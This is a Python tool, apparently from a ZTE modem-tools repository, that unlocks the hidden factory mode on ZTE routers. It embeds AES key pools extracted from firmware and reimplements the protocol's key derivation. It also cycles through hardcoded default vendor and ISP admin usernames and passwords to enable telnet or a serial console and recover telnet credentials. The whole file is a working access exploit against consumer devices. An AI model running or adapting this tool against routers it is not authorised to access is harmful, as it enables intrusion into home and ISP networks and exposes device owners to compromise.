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zte_factroymode.py
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zte_factroymode.py
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
from random import Random
from Crypto.Cipher import AES
def pad(data_to_pad, block_size):
# zero-pad, pad one byte at least
padding_len = block_size-len(data_to_pad) % block_size
return data_to_pad+b'\x00'*padding_len
def unpad(padded_data, block_size):
# zero-unpad, only work for null-terminated string
return padded_data[:-block_size] + padded_data[-block_size:].rstrip(b'\x00')
class WebFac:
AES_KEY_POOL = [
0x7B, 0x56, 0xB0, 0xF7, 0xDA, 0x0E, 0x68, 0x52, 0xC8, 0x19,
0xF3, 0x2B, 0x84, 0x90, 0x79, 0xE5, 0x62, 0xF8, 0xEA, 0xD2,
0x64, 0x93, 0x87, 0xDF, 0x73, 0xD7, 0xFB, 0xCC, 0xAA, 0xFE,
0x75, 0x43, 0x1C, 0x29, 0xDF, 0x4C, 0x52, 0x2C, 0x6E, 0x7B,
0x45, 0x3D, 0x1F, 0xF1, 0xDE, 0xBC, 0x27, 0x85, 0x8A, 0x45,
0x91, 0xBE, 0x38, 0x13, 0xDE, 0x67, 0x32, 0x08, 0x54, 0x11,
0x75, 0xF4, 0xD3, 0xB4, 0xA4, 0xB3, 0x12, 0x86, 0x67, 0x23,
0x99, 0x4C, 0x61, 0x7F, 0xB1, 0xD2, 0x30, 0xDF, 0x47, 0xF1,
0x76, 0x93, 0xA3, 0x8C, 0x95, 0xD3, 0x59, 0xBF, 0x87, 0x8E,
0xF3, 0xB3, 0xE4, 0x76, 0x49, 0x88
]
# newrand
AES_KEY_POOL_NEW = [
0x8C, 0x23, 0x65, 0xD1, 0xFC, 0x32, 0x45, 0x37, 0x11, 0x28,
0x71, 0x63, 0x07, 0x20, 0x69, 0x14, 0x73, 0xE7, 0xD4, 0x53,
0x13, 0x24, 0x36, 0xC2, 0xB5, 0xE1, 0xFC, 0xCF, 0x8A, 0x9A,
0x41, 0x89, 0x3C, 0x49, 0xCF, 0x5C, 0x72, 0x8C, 0x9E, 0xEB,
0x75, 0x0D, 0x3F, 0xD1, 0xFE, 0xCC, 0x57, 0x65, 0x7A, 0x35,
0x21, 0x3E, 0x68, 0x53, 0x7E, 0x97, 0x02, 0x48, 0x74, 0x71,
0x95, 0x34, 0x53, 0x84, 0xB4, 0xC3, 0xE2, 0xD6, 0x27, 0x3D,
0xE6, 0x5D, 0x72, 0x9C, 0xBC, 0x3D, 0x03, 0xFD, 0x76, 0xC1,
0x9C, 0x25, 0xA8, 0x92, 0x47, 0xE4, 0x18, 0x0F, 0x24, 0x3F,
0x4F, 0x67, 0xEC, 0x97, 0xF4, 0x99
]
def __init__(self, ip, port, user, pw) -> None:
self.ip = ip
self.port = port
self.user = user
self.pw = pw
self.S = requests.Session()
def reset(self):
# any wrong step request should reset the facTelnetStep
resp = self.S.post(f"http://{self.ip}:{self.port}/webFac", data='SendSq.gch')
if resp.status_code == 400:
return True
return False
def requestFactoryMode(self):
try:
self.S.post(f"http://{self.ip}:{self.port}/webFac", data='RequestFactoryMode.gch')
except requests.exceptions.ConnectionError:
# this is normal
pass
except Exception as e:
print(e)
def sendSq(self):
try:
# rand takes from time seconds, range 0-59
rand = Random().randint(0, 59)
# the byte after last digital can not be null
resp = self.S.post(f"http://{self.ip}:{self.port}/webFac", data=f'SendSq.gch?rand={rand}\r\n')
if resp.status_code != 200:
return False
# print(repr(resp.text))
if len(resp.content) == 0:
index = rand
key_pool = WebFacTelnet.AES_KEY_POOL
version = 1
# new protocol
elif "newrand" in resp.text:
newrand = int(resp.text[len("newrand="):])
# v62 = (0x1000193 * rand) & 0x3F;
# if ( (int)(0xFEFFFE6D * rand) >= 0 )
# v62 = -((0xFEFFFE6D * rand) & 0x3F);
# sub_2AF88((v62 ^ newrand) % 60, AES_KEY)
index = ((0x1000193 * rand) & 0x3F ^ newrand) % 60
key_pool = WebFacTelnet.AES_KEY_POOL_NEW
version = 2
else:
print("protocol error")
return False
key = map(lambda x: (x ^ 0xA5) & 0xFF, key_pool[index:index+24])
key = bytes(key)
self.chiper = AES.new(key, AES.MODE_ECB)
return version
except requests.exceptions.ConnectionError:
print("protocol error?")
except Exception as e:
print(e)
return False
def sendInfo(self):
try:
resp = self.S.post(f"http://{self.ip}:{self.port}/webFacEntry",
data=self.chiper.encrypt(pad(f'SendInfo.gch?info=6|'.encode(), 16)))
# print(resp.status_code, repr(resp.text))
if resp.status_code == 200:
return True
elif resp.status_code == 400:
print("protocol error")
elif resp.status_code == 401:
print("info error")
except Exception as e:
print(e)
return False
def checkLoginAuth(self):
try:
resp = self.S.post(
f"http://{self.ip}:{self.port}/webFacEntry",
data=self.chiper.encrypt(
# httpd will alloc 1 more byte to ensure null terminated, anyway we add one more null to ensure
pad(f'CheckLoginAuth.gch?version50&user={self.user}&pass={self.pw}'.encode(), 16)
))
# print(repr(resp.text))
if resp.status_code == 200:
# checkLoginAuth use wrong function strlen to calc response size, so we may need to pad ciphertext first
# but ciphertext can still be truncated prematurely，resulting in undecryptable data
ciphertext = resp.content
# print(len(ciphertext))
if len(ciphertext) % 16:
ciphertext = pad(ciphertext, 16)
url = unpad(self.chiper.decrypt(ciphertext), 16)
# resp should be "FactoryMode.gch"
return url
elif resp.status_code == 400:
print("protocol error")
elif resp.status_code == 401:
print("user/pass error")
except requests.exceptions.ConnectionError:
print("wrong step?")
except Exception as e:
print(e)
return False
class WebFacSerial(WebFac):
def __init__(self, ip, port, user, pw) -> None:
super().__init__(ip, port, user, pw)
def serialSlience(self, action):
try:
resp = self.S.post(
f"http://{self.ip}:{self.port}/webFacEntry",
data=self.chiper.encrypt(
pad(f'SerialSlience.gch?action={action}'.encode(), 16)
))
# print(repr(resp.text))
if resp.status_code == 200:
return True
elif resp.status_code == 400:
print("protocol error")
except Exception as e:
print(e)
return False
class WebFacTelnet(WebFac):
def __init__(self, ip, port, user, pw) -> None:
super().__init__(ip, port, user, pw)
def factoryMode(self, action):
try:
if action == 'close':
resp = self.S.post(
f"http://{self.ip}:{self.port}/webFacEntry",
data=self.chiper.encrypt(
pad(f'FactoryMode.gch?{action}'.encode(), 16)
))
else:
# mode 1:ops 2:dev 3:production 4:user
resp = self.S.post(
f"http://{self.ip}:{self.port}/webFacEntry",
data=self.chiper.encrypt(
pad('FactoryMode.gch?mode=2&user=notused'.encode(), 16)
))
# print(repr(resp.text))
if resp.status_code == 200:
# resp should be "FactoryModeAuth.gch?user=<telnetuser>&pass=<telnetpass>"
url = unpad(self.chiper.decrypt(resp.content), 16)
return url
elif resp.status_code == 400:
print("protocol error")
elif resp.status_code == 401:
print("user/pass error")
except requests.exceptions.ConnectionError as e:
print(e)
print("wrong step?")
except Exception as e:
print(e)
return False
def dealFacAuth(Class: WebFac, ip, port, users, pws):
for user in users:
for pw in pws:
print(f"trying user:\"{user}\" pass:\"{pw}\" ")
webfac: WebFac = Class(ip, port, user, pw)
print("reset facTelnetSteps:")
if webfac.reset():
print("reset OK!\n")
print("facStep 1:")
webfac.requestFactoryMode()
print("OK!\n")
print("facStep 2:")
version = webfac.sendSq()
print("OK!\n")
if version == 1:
print("facStep 3:")
print("OK!\n")
if webfac.checkLoginAuth():
print("facStep 4:")
print("OK!\n")
return webfac
elif version == 2:
print("facStep 3:")
if not webfac.sendInfo():
print("sendInfo error")
return
print("OK!\n")
print("facStep 4:")
url = webfac.checkLoginAuth()
if not url:
print("try next...\n")
continue
print("OK!\n")
print(repr(url))
return webfac
return False
def dealSerial(ip, port, users, pws, action):
serial = dealFacAuth(WebFacSerial, ip, port, users, pws)
if not serial:
return
print("facStep 5:")
if serial.serialSlience(action):
print("OK!\n")
print('done')
return
def dealTelnet(ip, port, users, pws, action):
telnet = dealFacAuth(WebFacTelnet, ip, port, users, pws)
if not telnet:
print('No Luck!')
return
print("facStep 5:")
url = telnet.factoryMode(action)
if url:
print("OK!\n")
print(repr(url))
print('done')
return
def parseArgs():
parser = argparse.ArgumentParser(prog='zte_factroymode', epilog='https://github.com/douniwan5788/zte_modem_tools',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--user', '-u', nargs='+', help='factorymode auth username', default=[
'factorymode', "CMCCAdmin", "CUAdmin", "telecomadmin", "cqadmin",
"user", "admin", "cuadmin", "lnadmin", "useradmin"])
parser.add_argument('--pass', '-p', metavar='PASS', dest='pw', nargs='+', help='factorymode auth password', default=[
'nE%jA@5b', "aDm8H%MdA", "CUAdmin", "nE7jA%5m", "cqunicom",
"1620@CTCC", "1620@CUcc", "admintelecom", "cuadmin", "lnadmin"])
parser.add_argument('--ip', help='route ip', default="192.168.1.1")
parser.add_argument('--port', help='router http port', type=int, default=80)
subparsers = parser.add_subparsers(dest='cmd', title='subcommands',
description='valid subcommands',
help='supported commands')
telnet_parser = subparsers.add_parser("telnet", help='control telnet services on/off',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
telnet_parser.add_argument('action', nargs="?", choices=['open', 'close'], help='action', default='open')
serial_parser = subparsers.add_parser("serial", help='control /proc/serial on/off',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
serial_parser.add_argument('action', nargs="?", choices=['open', 'close'], help='action', default='open')
return parser.parse_args()
def main():
args = parseArgs()
# print(args)
if args.cmd == 'serial':
dealSerial(args.ip, args.port, args.user, args.pw, args.action)
elif args.cmd == 'telnet':
dealTelnet(args.ip, args.port, args.user, args.pw, args.action)
if __name__ == '__main__':
main()